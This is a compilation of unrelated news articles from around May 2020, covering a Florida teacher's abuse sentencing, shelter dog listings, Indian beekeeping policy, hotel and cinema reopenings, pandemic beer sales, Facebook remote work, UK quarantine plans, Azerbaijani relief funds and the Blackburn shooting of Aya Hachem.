For the PRL paper, access to high-performance computing resources was provided by the National Computational Infrastructure (NCI), which is supported by the Australian Government, and by the Sydney Informatics Hub, which is funded by the University of Sydney.

This story has been published on: 2020-05-22. To contact the author, please use the contact details within the article.
Mark Lua: Escambia County Jail

In a desperate attempt to dodge jail time, a Florida teacher who pleaded guilty to sexually abusing students asked if the judge would order his castration instead.

Mark Lua, 32, is a former teacher and was accused of having sex with an underage girl, for sexually assaulting an 18-year-old former student and for trying to force a student to send him a sexually explicit video.

Last year, he pleaded guilty to unlawful sexual activity with a minor and for promoting a sexual performance by a child.

The Pensacola News Journal reported that rather than spend time in prison, Mr Lua asked First Circuit Judge Thomas Dannheisser to castrate him.

"My actions were despicable. I do believe that punishment is necessary, and I am requesting chemical castration not only as a punishment but as an act of solidarity to show how sorry I am for everything," Mr Lua said. "If your honor is so inclined, I am even willing to undergo physical castration if that way I can stay home and raise my daughter."

Mr Lua's attempt at bargaining did not take hold, however, as Mr Dannheisser ignored the suggestion and sentenced him to 12 years in prison, with 15 years probation.

During his sentencing hearing, Mr Lua said he was suffering from genetic neurofibromatosis and accompanying tumors. He claimed that the tumors caused him to have panic attacks, and that he was suffering from those attacks at the time he was committing acts of sexual abuse.

Erin Ambrose, the prosecutor in the case, argued that Mr Lua's maladies didn't seem to stop him from assaulting people.

"This condition did not seem to debilitate him while he was trolling the halls, looking for students to have sex with," she said.

She painted Mr Lua as a predatory force in the school where he worked.

"He seemed to seek out girls that came from unstable or troubled homes," she said. "He manipulated them, and he betrayed them because he was a teacher.

Read more

Man arrested for attempted rape of front line coronavirus nurse
Colby, a 4-year-old black-and-white American Staffordshire Terrier-mix, is looking for someone to love him (case 0297).

Johnny, a 1-year-old male Pointer-mix, is adorable and loves keeping people amused (case 0224).

Mamma Gail, a 3-year-old black female Lab-mix, needs a gentle hand to guide her (case 0092).

Houston, a 1-year-old white-spotted Bernard/Lab-mix, is love at first site (case 0095).

Roscoe, a 1-year-old black male Boxer/Lab-mix, is looking for someone to mend his broken heart (case 0098).

Freckles, a 3-year-old red/white female Beagle, needs a new cuddling partner (case 0115).

Barkley, a 4-month-old brown/white female Boxer/Lab-mix, will make you her whole world (case 0119).

Coco, a 1-year-old white female Boxer-mix, has all the makings of your new best friend (case 0126).

Rachel, a 4-year-old tan/white female Lab-mix, needs the warm touch of her new family (case 0133).

Alexis, a 5-year-old black female Lab-mix, has the best listening ear (case 0164).

Marley, a 1-year-old white male Pyranees-mix, knows he is the package deal (case 0183).

Luna, a 2-year-old black Lab-mix, will have you falling in to her soulful eyes (case 0184).

Poof, a 3-month-old black female Lab/Retriever-mix, will be your whole world (case 0186).

Wanda, a 3-month-old black female Lab/Retriever-mix, will make sure every day feels like magic (case 0187).

Roxie, a 1-year-old tan/white female Lab-mix, knows just how to make you laugh (case 0194).

Ursula, a 1-year-old black female German Spitz-mix, will have you wanting to stay home all day (0195).

Flounder, a 2-month-old black/white male Shepherd-mix, will go on any adventure with you (case 0196).

Sebastian, a 2-month-old black male Jack Russell-mix, will be your new partner in crime (case 0197).

Ariel, a 2-month-old brown female Shepherd-mix, will swim the ocean with you (case 0198).

Coral, a 2-month-old black/white female Shepherd-mix, will open your eyes to new wonders (case 0200).

Gilly, a 2-month-old tan female Mastiff-mix, will lick her way into your heart (case 0207).

Ellaria, a 2-month-old tan female Mastiff-mix, knows she can light up your day with a bark (case 0208).

Arya, a 2-month-old tan-and-black female Mastiff-mix, will be the queen of your heart (case 0209).

Gregor, a 2-month-old black male Mastiff-mix, is your new prince charming (case 0210).

Echo, a 1-year-old black-and-white male Lab-mix, won't have to convince you that he's the one (case 0212).

Ellie, a 10-month-old tan female English Red Tick Hound, wants to run the open fields with you (case 0213).

Rose, a 10-month-old white-and-brindle female beagle-mix will have you jumping with joy (case 0216).
New Delhi, May 22 : Union Minister of Agriculture & Farmers' Welfare Narendra Singh Tomar said on Friday beekeeping will be an important factor in achieving the goal of doubling farmers' income.

Addressing a webinar organised by the National Cooperative Development Corporation (NCDC), Tomar said the government has allocated Rs 500 crore towards beekeeping under the Atmanirbhar Abhiyan. He said India is among the world's top five honey producers. Compared to 2005-06, honey production has risen by 242 per cent and exports up by 265 per cent.

The Minister said as evident by the rising honey exports, beekeeping will be an important factor in achieving the goal of doubling farmers' income.

He said the National Bee Board has created four modules to impart training as part of the National Beekeeping and Honey Mission (NBHM) and 30 lakh farmers have been trained in beekeeping. They are also being financially supported by the government.

The Minister said the government is implementing the recommendations of the committee to promote beekeeping. He said under guidance of Prime Minister Narendra Modi, the government has launched 'Honey Mission' as part of 'Sweet Revolution' which has four components. Even small and marginal farmers can adopt beekeeping since investment is low and returns high, he added.

Speaking on the occasion, Dr Dhansingh Rawat, Cooperatives Minister of Uttarakhand, highlighted the resolve of the state government to mainstream organic honey production.

Prof. Nazeer Ahmad, Vice Chancellor, Sher-e-Kashmir University of Agriculture Science and Technology, Kashmir talked about the unique characteristics of Kashmir honey which is at par with the best in the world such as Manuka of New Zealand.

Tomio Schichiri, Representative, UNFAO, talked about the importance of quality assurance in exports of honey. Dr. M.V. Rao, Additional Chief Secretary, West Bengal talked about the massive steps the government has taken to promote production, branding and marketing of organic honey and wild honey by women groups.
Hotel Business News and Analytics

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Riu Opens its Hotels in Berlin and Guadalajara

Riu reported the opening of the companys two hotels, namely, the Riu Plaza hotel in Berlin (Germany) and the Riu Plaza hotel in Guadalajara (Mexico). Both the properties start accepting guests starting from Monday, May 25th. These are going to be the first two hotels by Riu that will resume their work after the closure. The hotelier decided to close all its hotels in March due to the coronavirus outbreak. The hotels in Berlin and Guadalajara will also be the first properties to adopt the new security protocol. Riu developed this set of rules for hotels in the Post-COVID world. The main purpose of the protocol is to keep both customers and hotel staff safe.



Opened in 2015, the Riu Plaza hotel in Berlin has 357 rooms. The four-star hotel enjoys a fantastic location in one of the most popular districts of the German capital. Guests of this Berlin hotel have simple access to the historic center, shopping areas, and fine dining. The hotel is going to reopen just several days after Pentecost. This is a popular holiday that is widely celebrated in Germany and some other neighboring countries. For Germans, the Pentecost period is a popular time to travel.



The Guadalajara hotel opened several years before the one in Berlin  in 2011. Known for its prominent location on Lopez Mateos Avenue, the Riu Plaza Guadalajara is a popular choice for both business and leisure guests. Tourists enjoy proximity to the historic center, and business travelers  to Expo Guadalajara. The hotel has 550 rooms, 16 meeting rooms, and a large conference center. As Guadalajara is the second most important city in Mexico and the capital of the Jalisco state, it is an established cultural and economic center.



To ensure safe work for the hotel employees and guests, Riu developed a set of protocols together with Preverisk, a famous consulting company. There are 17 different protocols in total. The first phase of the opening is the most important, and the company will test these protocols and their efficient implementation. According to these protocols, every employee knows how to ask and how to perform their daily tasks.



To introduce the new rules, Riu launched a special training program. It includes safety, performance, and hygiene protocols. As hotels reopen gradually in the new Post-COVID world, Riu will limit their occupancy to 50% or 60% unless there are other legal regulations on this subject.

22.05.2020Stay in touch with the latest news of a worldwide hotel industry. All up-to-date analytics, reports , and news about hotel business trends on OrangeSmile.com.
A member of a homeless encampment at Philadelphia International Airport sleeps in the baggage claim area of Terminal A on May 13th, 2020. Read more

Capitulating to pressure from advocates for the homeless, the Kenney administration agreed Thursday to test people living in an encampment at Philadelphia International Airport for the coronavirus before placing them in shelters.

City officials had planned to break up the group of 50 to 100 individuals on Friday morning without testing. But after advocates and those who provide housing and services for the homeless threatened a lawsuit, the city decided to hold off on dispersing the encampment until Tuesday, after what it described as rapid testing is completed.

The city is trying to focus on the safety of everyone involved here  the employees who work at the airport, those who work at the airlines, and those who will need to use the airport in the near future, as well as the safety of those who are unsheltered," said Managing Director Brian Abernathy.

And were trying to balance those needs in order to come to a resolution here. I believe the advocates understand that we are trying to do that, and I also understand and respect what their position is as well," he said. "We are glad that we are able to respond with a pragmatic solution we believe everyone can support.

Marsha Cohen, executive director of the Homeless Advocacy Project, an advocacy group, said Thursday evening, "We are really glad that the city will be testing people before they enter shelter as a way to prevent further spread of COVID-19 among a very vulnerable population.... Im sorry it took us threatening litigation to get here. But we are very pleased with the outcome.

In expressing a willingness Wednesday to sue, advocates and providers conveyed their fear that placing untested people from an encampment into a shelter could be disastrous.

They cited Philadelphias decision in late March to clear a homeless encampment at the Convention Center  against federal health recommendations  and place some of the people in a Center City shelter, Our Brothers Place.

A subsequent outbreak of coronavirus there infected more than three dozen residents, and a 46-year-old man died on April 2. He is the only known coronavirus fatality among more than 5,000 individuals living in shelters in the city.

By placing members of the airport group into shelter without learning their COVID-19 status, the city would have been "almost guaranteeing the same thing will happen again, David Fair, a member of the board of SELF, the largest provider of emergency housing in the city, said Wednesday.

Eva Gladstein, deputy managing director of health and human services for the city, disputed the idea that moving people from the street hastened the virus spread through Our Brothers Place.

Its a false correlation, she said.

 READ MORE: Homeless living at airport  and one man found in a parked plane  underscore the wreckage of COVID-19

People who are homeless are more likely to succumb to the coronavirus, Cohen said. They see doctors infrequently, live in rough environments, and often suffer from underlying conditions that exacerbate illness.

Its possible, advocates said, that after all these moves on behalf of the homeless, many may refuse to go into shelters anyway. Quite a few in the airport population are mentally ill, a cohort that often refuses to live in congregate settings.

The airport had permitted people to shelter there during the coronavirus crisis, and had directed them to Terminal A-East, which has not been in use for flights.

But, advocates said, they were told that the terminal will be used again starting around June 4.

A serious security breach occurred at the airport on May 2, when a man who was believed to be homeless was found in the bathroom of a Southwest Airlines plane as the flight crew prepared it for boarding.

The Philadelphia Inquirer is one of more than 20 news organizations producing Broke in Philly, a collaborative reporting project on solutions to poverty and the citys push toward economic justice. See all of our reporting at brokeinphilly.org.
Bladder cancer is associated with significant illness and mortality, particularly if treatment is delayed.

Writing in the journal Bladder Cancer, researchers have outlined recommendations for the treatment of both muscle-invasive (MIBC) and non-muscle invasive (NMIBC) bladder cancer during the COVID-19 pandemic based on data from trials and prior studies, and taking into account the current strains on the healthcare system.

The COVID-19 pandemic has disrupted the paradigm of healthcare in many ways. Hospital resources are stretched thin as the number of cases continues to climb daily. In cancer care, treatment must be weighed against the issues of viral transmission, resource utilization, healthcare access, and community safety.

"The COVID-19 epidemic has forced doctors to prioritize patients with time-sensitive illnesses and defer those with conditions that can wait. We know some patients with bladder cancer simply can't wait on treatment without compromising their oncologic outcomes," explains senior author Lambros Stamatakis, MD, Director, Urologic Oncology - MedStar Washington Hospital Center, Assistant Professor of Urology - Georgetown University, Washington, DC, USA.

"Our hope with this paper is to provide a framework that can help clinicians navigate treatment decisions for their bladder cancer patients in the setting of the COVID-19 epidemic."

First author Filipe L.F. Carvalho, MD, Ph.D., MedStar Georgetown University Hospital, Washington, DC, USA, adds "Many institutions have stopped performing elective surgery and outpatient procedures during the COVID-19 epidemic.

This can be problematic for patients with NMIBC who need frequent cystoscopies, bladder biopsies/tumor resections, and intravesical therapy. For patients with MIBC, delay of treatment may unfortunately result in missing the window of opportunity for cancer cure."

Risk stratification is key in helping clinicians manage this cancer. The authors note that several studies recommend that patients with low-risk NMIBC can be safely managed with active surveillance after transurethral resection of bladder tumor (TURBT), generally the first treatment for bladder cancer.

"Given the inevitable shift of resources diverted to treat patients with COVID-19, and to prevent viral exposures during medical visits, we propose surveillance for all patients with a history of low-risk tumors, and those with non-high-grade intermediate-risk NMIBC, reserving TURBTs for symptomatic patients," says Dr. Stamatakis.

On the contrary, patients with high-risk NMIBC should proceed with active treatment. Since hospitalization after TURBT is uncommon, and the risk of aerosolization of the virus during these procedures is low, the authors recommend that these surgeries should be continued if possible, within a hospital system.

MIBC is a more lethal disease, and studies show that delayed treatment leads to significantly worse outcomes. One of the standard therapies is radical cystectomy with urinary diversion.

However, the authors observe that the COVID-19 pandemic has forced the urologic community to reconsider standard practices.

Radical cystectomy is resource-intensive, with the need for ventilators, masks, and other equipment. Moreover, the need for human resources is extensive when a hospital system is performing major surgeries.

These factors all need to be considered during this period when material and human resources are scarce and may be needed elsewhere.

The authors believe that radical cystectomy is one of the procedures that should be prioritized during the COVID-19 epidemic.

They recommend that the choice of treatment for MIBC should be individualized, with specific consideration given to patient symptoms, tumor volume, access to cancer treatments such as infusion centers and radiation centers, access to post-hospitalization care (i.e., rehab/skilled nursing facilities), and the current status of the virus in the community.

They note that enhanced recovery after surgery protocols should be implemented to allow for improved convalescence. Telemedicine should be feasible for pre- and postoperative visits in most instances.

Currently there are multiple clinical trials available for patients with NMIBC and MIBC, however, recommendations from governments and other institutions regarding these trials are evolving.

The authors recommend that for patients already enrolled in therapeutic trials, all efforts should be made to continue providing the appropriate treatment if safe for the patient and the local healthcare community.

While non-therapeutic trials focused on biomarker discovery or relying on tissue banking should be placed on hold,

We encourage clinical investigators to consider novel approaches to patient monitoring and disease management. Looking forward, recommendations will inevitably need to evolve with the quickly changing landscape of medicine during the COVID-19 epidemic." Filipe L.F. Carvalho, MD Ph.D, Study First Author, MedStar Georgetown University Hospital
The smell of buttery popcorn should soon have movie buffs salivating again as Queenland's cinemas prepare to dust off their projectors and once again welcome customers in front of their big screens.

But for those keen to watch movies from the familiar surroundings of their own cars, that moment has already arrived.

Yatala Drive-In has reopened to movie buffs wanting to enjoy a movie night out safely, while indoor cinemas remained closed.

Queensland will enter its third stage of easing restrictions, which is expected to permit a maximum of 100 people in indoor cinemas, on July 10.

The timeline complements the release date set for Christopher Nolans Tenet on July 17, which is hoped to be the first of many theatrical releases of films since the COVID-19 disruption.
The partnership with Iravathams lab will help integrate MedGenomes flagship innovation SPIT-SEQ, with various tests offered by Dr. Iravatham for Tuberculosis

MedGenome Labs Ltd collaborates with Dr Iravathams clinical laboratory at Hyderabad to enhance the Tuberculosis diagnostics offering and gets ICMR approval for RT-PCR testing for COVID-19 with its current partner XCyton Diagnostics

One of the biggest problems that Indian has faced in the field of Healthcare is in the area of infectious diseases. Before COVID-19 was recognised as a global pandemic, India was at the centre of the discussion on reducing global tuberculosis burden. With an immensely high prevalence of tuberculosis in India, the world is looking towards India to control the same. Indian government has set a deadline of ending TB by 2025. While India is one of the highest contributor to the global TB burden, the same nation, on the other hand, is looked upon as a proactive decision maker as far as controlling COVID-19 spread is concerned.

However, There are reports that show how the COVID-19 lockdown is taking us back to 2013 as far as our fight against TB is concerned. The lockdown may aggravate the existing TB burden as more TB patients may go undiagnosed and hence untreated.

With both these public health issues in focus, MedGenome Labs, Indias biggest genetic diagnostics lab collaborates with Dr. Iravathams clinical laboratory in Hyderabad, a niche testing lab in the field of Tuberculosis diagnostics strengthening its presence in infectious diseases testing. MedGenomes partner Xcyton Diagnostics is also awarded the ICMR approval to undertake COVID-19 testing at its lab in Bengaluru.

Citing their strengths, Dr. Vedam Ramprasad, CEO, MedGenome Labs, said Our collaboration with Dr. Iravathams lab is a milestone in TB testing ecosystem and we are committed to take more steps to integrate SPIT SEQ, our proprietary whole genome sequencing based test for diagnosis and drug resistance detection directly from sputum samples, into TB testing ecosystem.



The partnership with Iravathams lab will help integrate MedGenomes flagship innovation SPIT-SEQ, with various tests offered by Dr. Iravatham for Tuberculosis and also set up a state of the art BSL2/3 infectious testing lab in Hyderabad With India in the limelight as far as global TB burden is concerned, diagnosis and drug resistance detection take the centre stage. Offering a complete range of tests, right from smear microscopy to a sequencing-based test, will help shorten the time to diagnose, and lead to timely intervention., said, Dr Chitra Iravatham, Dr Iravatham& Clinical Laboratory (DICL)

Dr BV Ravikumar, Founder and Managing Director, XCyton Diagnostics Ltd said, We are equipped to undertake a minimum of 1000 tests per day, with an ability to scale up the capacity manifolds in a matter of a few days. We are strongly looking at making an impact and help India fight COVID-19.

MedGenome is the current market leader in this industry to have studied genetic disposition in multiple therapy areas like Cancer, Reproductive Health, TB, Rare Diseases amongst others in the country. Currently, the tests by MedGenome are recommended by over 1600 hospital networks and clinics in India.
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Just because much of the nation has been under stay-at-home orders doesn't mean we don't want to crack a cold one at the end of the day, or maybe even earlier.

Favorite drinking establishments have been forced to close during the coronavirus pandemic  or pivot to curbside pickup and delivery. So, many consumers have opted to buy mega-packs of beer  or hard seltzer.

The number of people buying alcohol to take home rose 27% during the week ending April 11, compared to a year ago, Nielsen says.

Also driving swig-from-home sales: online purchases. During the two-week period ending, April 18, three times as many bought alcohol online than in the two weeks ending Feb. 29, Nielsen says.

COVID-19 dining out: Restaurants take to the streets to create socially distanced dining rooms as nation reopen

Is virtual camp worth the cost?: Parents question the value of kids attending summer sessions on a screen

Sales of Budweiser have been up about 3%, by dollar value, so far this year. Now there are new limited edition red, white and blue patriotic cans available this summer. The camouflage design with stars, stripes pay tribute to the five military branches.

Beer sales are up 16%, based on dollar value, so far this year up to May 10, according to Bump Williams Consulting of Shelton, Connecticut., which services the beverage alcohol industry and uses sales data from Chicago-based market research firm IRI.

"Weekly trends for beer continue to display tremendous growth," said Williams, noting that for the week ending May 10, sales were stronger than average. That suggests the Memorial Day weekend could yield "a massive week of off-premise sales," he said.

The big winners: Big beer brands such as Busch Light, Corona, Michelob Ultra, Miller Light and Coors Light. Also tracking more than 10% ahead of last year's sales are Mexican lagers Modelo Especial and Dos Equis Especial, and Blue Moon Belgian White Ale.

Amid all the "societal uncertainty," said Budweiser vice president Monica Rustgi, "weve noticed consumers gravitating to larger brands with consistent quality credentials that they know and trust.

Consumers are buying in bulk, with sales of cases of beer on the rise. Sales of 24-can cases of Michelob Ultra are up 59% so far this year, while sales of Miller Lite cases are up 26.5%. Sales of 30-packs of Busch Light are up 31%, while Coors Light and Bud Light 30-packs are up 31% and 24%, respectively.

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"We believe some of that is people were going out less so they were getting more in less frequent trips, opting for 24, 30 and 36-packs of big trusted brands," said Adam Collins, chief communications officer for Molson Coors. "We have seen a lot of that movement particularly in Miller Lite, Coors Light and Blue Moon."

Coors Lights new sunglasses-themed cans and packages debuted feature its new logo: an avatar of a mountain that appears above the traditional Coors Light script. Already, Coors Light sales have risen 7.5% in dollar value so far this year.

The beer crush is similar to the "panic pantry buying" seen in March at the outset of the coronavirus outbreak. But many experts thought the beer run would slow down in late April and early May, says Eric Shepard, executive editor of Beer Marketer's Insights. "It did not. Indeed, there was a big pop in the week run-up to Cinco do Mayo," he said. "Virtually every major brewer and big brand has benefited."

Brewers traditionally generate just more than half of beer revenue at bars and restaurants. They sell more beer in stores, but remember, that individual can, bottle or draft can cost $4 or more in a bar or restaurant, while when you buy in bulk it costs 72 cents to $1.30) That's why the shutdown has disproportionately hurt smaller, local breweries that rely on visitors coming into a taproom or brewpub.

The current beer brew-haha would need to continue for most of the year and be greater than 20% clip to offset the loss of on-premise sales, says Carolyn Lemoine, director of alcohol research for Beverage Marketing Corp., a New York City-based research and consulting firm. "Ultimately, dollar sales for the category are likely to be down when the crisis is over, as consumers spend less on beer in the off-premise than they do in the on-premise," she said.

Other boozy beverages cashing in during the coronavirus crisis:

Spirits. The hard stuff has not been a hard sell, with sales up 29% in the period between March 8 and May 10, and up 55%. Premixed cocktails and tequila lead the way, up 149% and 106%, respectively, in the week that ended May 10.

Seltzers. America's love affair with thirst-quenching hard seltzers continues to grow. The market leader White Claw saw sales of its mango-flavored beverage skyrocket 700%, so far this year. And its 12-can variety packs, first sold in June 2017, were up 375%.

Craft beer. In general, consumers are trading down to lower-priced beers and are buying less craft beer, Lemoine says. But New Belgium Brewing beers rose 42%, while Sierra Nevada Brewing was up 32%. Samuel Adams Boston Lager beers rose more than 9% and 60 Minute IPA, a beer from Dogfish Head Craft Brewery, acquired a year ago by Sam Adams' parent company Boston Beer, was up more than 6%.

"At first, our drinkers stocked up on our beers along with everything else," said Jim Koch, founder and chairman of Boston Beer Company. "That growth continued as people found more occasions to enjoy beer at home."

Follow USA TODAY reporter Mike Snider on Twitter: @MikeSnider.

This article originally appeared on USA TODAY: Coronavirus effect: Big beer brands, cases sell during pandemic
By Katie Paul

SAN FRANCISCO (Reuters) - With Facebook's adoption of permanent remote work on Thursday, Chief Executive Mark Zuckerberg has untethered one of Silicon Valley's biggest companies from the place that incubated it.

But he also dashed a Silicon Valley dream: that tech workers would be able to take their generous salaries with them as they flee the Bay Area's crushing housing costs, dirty sidewalks and crowded roadways.

As lockdowns dragged into their third month, message boards popular with well-paid tech workers have lit up with fantasies of working long-term from tropical beaches and spacious houses in affordable small towns in the Midwest.

"Does that mean I could apply for a job in Silicon Valley and work remotely from, say, the Caribbean? Asking for a friend," wrote one user on Blind, an app designed to let workers swap information anonymously.

Afraid not, Zuckerberg said, addressing employees in a publicly broadcast livestream on his Facebook page.

The company, one of Silicon Valley's biggest employers, is giving U.S. staffers who are approved to work remotely until Jan. 1, 2021 to update the company on where they plan to base themselves, at which point their salaries will be adjusted to reflect the local cost of living.

Zuckerberg said he expects half of Facebook's workforce to take him up on the offer over the next five to 10 years.

Employees who attempt to wiggle around those compensation adjustments will be subject to "severe ramifications," he said, as the company needs to account for employee locations to avoid violating tax laws.

Zuckerberg said Facebook will monitor adherence by checking where employees access its VPN. Facebook also uses its own apps' to track employee locations, according to CNBC https://www.cnbc.com/2019/02/14/facebooks-security-team-tracks-posts-location-for-bolo-threat-list.html, one time using the data to find interns who failed to show up for work.

Even as many tech workers dream of a future in low-tax states, others on message boards fret about how the shift to remote work could exert downward pressure on salaries across the board and warn that being far from headquarters could steepen the climb up the corporate ladder.

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One former Facebook employee, who in his 20s lived in Silicon Valley's suburbs for the short commute, said the change would open up opportunities even for employees who stay in California.

"A 25-year-old maybe would rather be in San Francisco, while someone looking to raise a family might prefer to move outside the city," he said.

A Facebook spokesman said the company was not planning layoffs, compulsory moves or salary adjustments for employees who opt to stay in the Bay Area.

If the experiment is successful, Facebook's move could prompt other tech giants to compete for engineering talent by embracing remote work - and other states to compete for Californians.

"The warm, sunny states with affordable housing and zero taxes will see an influx of educated, rich workers. States will need to cut taxes to keep up," Chamath Palihapitiya, the chief executive of venture capital firm Social Capital and an early executive at Facebook, said on Twitter.

The biggest loser, he predicted, would be California.

(Reporting by Katie Paul; Editing by Greg Mitchell, Robert Birsel)
The aviation industry has criticised plans for a 14-day quarantine for people arriving in the UK from overseas.

The plans are aimed at limiting the spread of the coronavirus as the number of cases in the UK begins to fall.

But it comes as many airlines were preparing to resume flights on a smaller scale after weeks of being grounded by virus-related travel restrictions.

Ryanair said it will go ahead with plans to run 40% of flights in July, but its chief executive Michael O'Leary dismissed the quarantine plan as "bonkers".

He told Sky's Ian King Live: "You cannot implement an effective quarantine on inbound arrivals into the UK when passengers arriving at airports like Heathrow or Gatwick, [then] get on the London Underground and Gatwick Express to travel into London.

"Every passenger arriving at every UK airport uses buses, trains, public transport to travel to their destination and the government idea that you should only isolate them after they've all used public transport shows how ineffective a quarantine is.

"In the UK they're not applying effective measures, which is face masks, instead preferring to come up with frankly ineffective and bonkers ideas like quarantines."

The quarantine will mean arrivals having to tell authorities where they will isolate themselves for 14 days - and they could be fined 1,000 if they break the rules.

Road hauliers, NHS workers and people from the Republic of Ireland are exempt.

The rules are not as tough as in some countries, such as Australia and New Zealand, where arrivals are taken to hotels for 14 days in isolation.

Many countries have also banned arrivals who are not citizens or residents.

Heathrow's chief executive John Holland-Kaye said the plan would "kill off aviation as long as it is in place".

He told Sky News: "As long as the quarantine is in place then nobody is going to be flying any more than we have today, which is only about 5,000 passengers daily, when normally we would expect at this time of year nearly a quarter of a million passengers.

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"If this is what the government needs to do to keep people safe and avoid another outbreak of the disease, then I think we have to support that.

"But we have to have a plan for what happens next so that we can look ahead to how we'd reopen borders."

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Mr Holland-Kaye added: "Aviation is the lifeblood of the UK economy. All those manufacturers who want to get up and running will rely on the supply chain we're bringing in as well as the exports we take all over the world.

"Equally we have a tourism industry in the UK that relies on tourists coming into the UK and unless we can get those people flying in from safe countries, we can't get the hotels and the restaurants and so on re-started.

"We risk having, without a plan, a very extended period without flying and we risk having a health crisis becoming an unemployment crisis."

Mr Holland-Kaye said the government should establish a common international standard for health and aviation with the European Union and the US to "protect jobs in the UK and also perhaps save some summer holidays".

He added that countries such as Australia, with very low levels of virus transmission, should be among those "we should be opening up to".

Virgin Atlantic, which is cutting 3,000 jobs due to the pandemic, said the quarantine would prevent it from resuming flights until at least August.

A spokesman said: "We know that as the COVID-19 crisis subsides, air travel will be a vital enabler of the UK's economic recovery.

"Therefore, we are calling for a multi-layered approach of carefully targeted public health and screening measures, which will allow for a successful and safe restart of international air travel for passengers and businesses."

Airlines UK, the trade body for UK-registered airlines, said introducing a quarantine at this stage "makes no sense and will mean very limited international aviation at best".

"It is just about the worst thing government could do if their aim is to restart the economy," it added.

The government will be reviewing the measures every three weeks, and the trade body has said it must be "robust, transparent and evidence-led, with advice published in full".
By Ayya Lmahamad

Azerbaijans Ministry of Finance has allocated AZN 533.3 million ($313.6m) to business structures and individual entrepreneurs affected by COVID-19, press-service of the ministry reported on May 21.

Some AZN 69.12 ($40.6M) is allocated from the state budget for the payment of salaries to workers working in the areas affected by the pandemic, and AZN 55.64 million ($32.7M) for the financial support of individual entrepreneurs. Moreover, AZN 35 million ($20.5M) has been transferred to the Fund for Entrepreneurship Development for providing guarantees and subsidizing entrepreneurial credits, the ministry stated.

In addition, the Ministry of Finance transferred AZN 229 million ($134.7M) to the Ministry of Labor and Social Protection to provide lump sum payment of AZN190 ($111.7) during two months to 600.000 people and AZN 15 million ($8.8M) to provide temporary employment to the unemployed.

As stipulated in the Action Plan, financial support is also provided for the sphere of passenger transportation, which is vital for the economy. As part of the measures of the state support, AZN 86.9 million ($51.1M) was transferred to AZAL [Azerbaijani Airlines]. Financial support allocated from the state budget is primarily aimed at paying salaries and equivalent payments to employees working in AZAL and in its subordinate organizations, payables to external and internal institutions, utilities and other minimum operating expenses, report says.

Moreover, from the state budget AZN 2.6 million ($1.5m) was transferred to Baku Metro as part of the financial support measures.

At the same time, AZN 40 million ($23.5m) has been transferred to the Mortgage and Credit Guarantee Fund for provision of privileged mortgage loans.

Furthermore, the Ministry of Economy allocated AZN 1.6 million ($941.2m) for the payment of salaries of economic entities employees operating in Nakhchivan Autonomous Republic, as well as AZN 2.3 million ($1.3M) for financial assistance to micro- entrepreneurs.

In addition, AZN 3.6 million ($2.1m) was transferred to provide state support to persons registered as unemployed. Up to AZN 1.2 million ($729.411) was allocated to the Cabinet of Ministers to compensate salaries and other operating costs of the Nakhchivan International Airport, and to provide financial assistance to seven economic entities working in the field of long-distance and in-city transportation, the ministry said.

Financing of operations to all areas affected from COVID-19 are being carried out in line with the Cabinet of Ministers Action Plan.

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Follow us on Twitter @AzerNewsAz
Three more people have been charged over the death of a 19-year-old law student who was gunned down in a drive-by shooting.

Innocent passer-by Aya Hachem, 19, was hit by one of several shots fired from a vehicle as she walked to a supermarket near her home in Blackburn, Lancashire, on Sunday. She died from a single wound to the chest.

Feroz Suleman, 39, and Abubakir Satia, 31, both from Blackburn, were charged with her murder earlier today.

Late this evening, Uthman Satia, 28, of Oxford Close, Blackburn, Judy Chapman, 26, of St Hubert's Road, Great Harwood and Kashif Manzoor, 24, of Shakeshaft Street, Blackburn were also all charged with murder.

Police believe Ms Hachem was not the intended target of the attack, which took place in broad daylight on a busy main road near a Lidl supermarket in the town centre.

All five also face attempted murder charges and are due to appear before magistrates in Preston tomorrow.

Aya Hachem (left), who was a trustee with the Children's Society, had been just 100 yards from her home when she was shot and killed on King Street (right, Ms Hachem, wearing a white top, stands a few yards from the Toyota which slowed beside her before several shots were fired on Sunday)

Police have arrested a total of 13 people in connection with the incident.

Aya's father Ismail Hachem said he had hoped his family would be safe in Britain after fleeing Lebanon more than a decade ago.

Mr Hachem had tried to call his daughter repeatedly when she did not return from the supermarket and did not know where she was until police came to his home later.

'I start crying ... cause all my dreams, Aya,' Mr Hachem told BBC Asian Network.

'I thought I would be safe here ... in this small town. No big problems.'

The Lebanese-born teenager, a second year student at the University of Salford, died in hospital a short time after emergency services were called to the scene in King Street at around 3pm.

She was the eldest of four siblings.

Mr Hachem, arrived in the UK ten years ago looking for safety as an asylum seeker.

According to family friends, he had been shot in crossfire in Lebanon and moved to England hoping for a new life.

He spent nine years as an asylum seeker before gaining British citizenship last year.

Ms Hachem's former headteacher at Blackburn Central High School, Diane Atkinson, told the BBC: 'She fled a war-torn zone as a refugee and came to the UK looking for a better life.

Forensic police officers were pictured at the scene in Blackburn following the death of Ms Hachem

'She arrived with very little English and was soon inducted with BCHS, as we call ourselves, the family, and Blackburn.

'And she was a very, very intelligent young lady who very, very quickly picked up the command of English and worked incredibly hard to become the very, very best person she could be.'

In 2010, Lebanon had faced a tense border clash with Israel in the disputed Golan Heights territory that killed four people.

The fighting followed on from the 2006 Lebanon War in the same region that left hundreds dead, and a 17-month period of political instability in the country which culminated in the 2008 conflict involving Hezbollah militants.

Ms Hachem's former school paid tribute to her as 'a beautiful young girl who fled her home country in search for a better life in the UK'.

A long-term family friend, Luky Hussein, said the shooting brought back the horrors of war for Mr Hachem.

University of Salford student Aya Hachem (pictured) died shortly after she was shot from a car window in Blackburn, Lancashire at around 3pm on Sunday

'They fled Lebanon for the war with people threatening to kill him,' he said. 'Coming from something like this to the UK and now his daughter gets shot. This is history repeating itself. I can't imagine what he must be going through.

'I'm sure it brings it all back for him. He's got a bullet mark in his back, he was shot while he was living in Lebanon. He got caught in crossfire once.'

Hardworking Mr Hachem would volunteer at Mr Hussein's family takeaway in return for food - while he was banned from working as an asylum seeker.

'The struggles he has been through, he only got granted citizenship last year,' Mr Hussein said. 'Four times his application got refused. His two younger children were born in the UK.

'Finally last year he got his citizenship - and now poor Aya has been shot.'

Ms Hachem (pictured), who was a young trustee with the Children's Society, had been close to her home when she was shot and killed on King Street

A 35-year-old man from Blackburn arrested on suspicion of murder on Tuesday has been released under investigation, as has a 29-year-old man from Blackburn, arrested on suspicion of assisting an offender.

Also released under investigation are a 19-year-old woman from Blackburn who was arrested on Wednesday on suspicion of assisting an offender and a 29-year-old woman from Blackburn arrested on Wednesday on suspicion of Conspiracy to Murder.

